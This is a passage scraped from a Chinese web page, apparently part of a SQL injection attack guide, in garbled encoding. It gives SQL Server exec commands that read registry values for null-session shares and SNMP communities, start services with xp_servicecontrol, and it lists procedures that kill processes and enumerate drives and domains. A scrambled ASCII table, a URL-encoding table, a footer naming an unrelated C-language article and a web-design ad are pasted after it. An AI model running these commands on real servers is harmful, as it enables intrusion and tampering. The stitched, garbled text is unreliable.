1、利用xp_regread擴(kuò)展存儲(chǔ)過(guò)程修改注冊(cè)表
另一個(gè)有用的內(nèi)置存儲(chǔ)過(guò)程是xp_regXXXX類(lèi)的函數(shù)(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻擊者可以利用這些函數(shù)修改注冊(cè)表,如讀取SAM值,允許建立空連接,開(kāi)機(jī)自動(dòng)運(yùn)行程序等。如:
exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 確定什么樣的會(huì)話連接在服務(wù)器可用。
exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’ 顯示服務(wù)器上所有SNMP團(tuán)體配置,有了這些信息,攻擊者或許會(huì)重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。
2、利用其他存儲(chǔ)過(guò)程去改變服務(wù)器
xp_servicecontrol過(guò)程允許用戶啟動(dòng),停止服務(wù)。如:
(exec master..xp_servicecontrol ‘start’,’schedule’
exec master..xp_servicecontrol ‘start’,’server’)
Xp_availablemedia 顯示機(jī)器上有用的驅(qū)動(dòng)器
Xp_dirtree 允許獲得一個(gè)目錄樹(shù)
Xp_enumdsn 列舉服務(wù)器上的ODBC數(shù)據(jù)源
Xp_loginconfig 獲取服務(wù)器安全信息
Xp_makecab 允許用戶在服務(wù)器上創(chuàng)建一個(gè)壓縮文件
Xp_ntsec_enumdomains 列舉服務(wù)器可以進(jìn)入的域
Xp_terminate_process 提供進(jìn)程的進(jìn)程ID,終止此進(jìn)程
附件一:URLUnicode表(節(jié)選,主要是非字母的字符,RFC1738)
字符 特殊字符的含義 URL編碼
# 用來(lái)標(biāo)志特定的文檔位置 %23
% 對(duì)特殊字符進(jìn)行編碼 %25
& 分隔不同的變量值對(duì) %26
+ 在變量值中表示空格 %2B
/ 表示目錄路徑 %2F
\ %5C
= 用來(lái)連接鍵和值 %3D
? 表示查詢字符串的開(kāi)始 %3F
空格 %20
. 句號(hào) %2E
: 冒號(hào) %3A
附件二:ASCII表(節(jié)選)
Dec Hex Char Dec Hex Char
80 50 P
32 20 (space)Q
33 21 !R
S
35 23 #T
36 24 $Content$nbsp;U
37 25 %V
38 26 &W
39 27 ‘X
40 28 (Y
41 29 ) 90 5A Z
42 2A * 91 5B
43 2B + 92 5C \
44 2C , 93 5D >
45 2DE ^
46 2E . 95 5F _
47 2F /`
a
b
c
d
e
f
g
h
i
58 3A : 106 6A j
59 3B ; 107 6B k
60 3CE n
63 3F ? 111 6F o
p
64 40 @q
65 41 Ar
66 42 Bs
67 43 Ct
68 44 Du
69 45 Ev
70 46 Fw
71 47 Gx
72 48 Hy
73 49 I 122 7A z
74 4A J 123 7B {
75 4B K 124 7C |
76 4C L 125 7D }
77 4D M 126 7E ~
78 4E N 127 7F €
關(guān)于c 獲取全部數(shù)據(jù)庫(kù)名稱(chēng)的介紹到此就結(jié)束了,不知道你從中找到你需要的信息了嗎 ?如果你還想了解更多這方面的信息,記得收藏關(guān)注本站。
成都網(wǎng)站推廣找創(chuàng)新互聯(lián),老牌網(wǎng)站營(yíng)銷(xiāo)公司
成都網(wǎng)站建設(shè)公司創(chuàng)新互聯(lián)(www.cdcxhl.com)專(zhuān)注高端網(wǎng)站建設(shè),網(wǎng)頁(yè)設(shè)計(jì)制作,網(wǎng)站維護(hù),網(wǎng)絡(luò)營(yíng)銷(xiāo),SEO優(yōu)化推廣,快速提升企業(yè)網(wǎng)站排名等一站式服務(wù)。IDC基礎(chǔ)服務(wù):云服務(wù)器、虛擬主機(jī)、網(wǎng)站系統(tǒng)開(kāi)發(fā)經(jīng)驗(yàn)、服務(wù)器租用、服務(wù)器托管提供四川、成都、綿陽(yáng)、雅安、重慶、貴州、昆明、鄭州、湖北十堰機(jī)房互聯(lián)網(wǎng)數(shù)據(jù)中心業(yè)務(wù)。
網(wǎng)站欄目:利用C語(yǔ)言獲取全部數(shù)據(jù)庫(kù)名稱(chēng):簡(jiǎn)單高效的方法 (c 獲取全部數(shù)據(jù)庫(kù)名稱(chēng))
轉(zhuǎn)載來(lái)于:http://www.5511xx.com/article/dpchipp.html


咨詢
建站咨詢
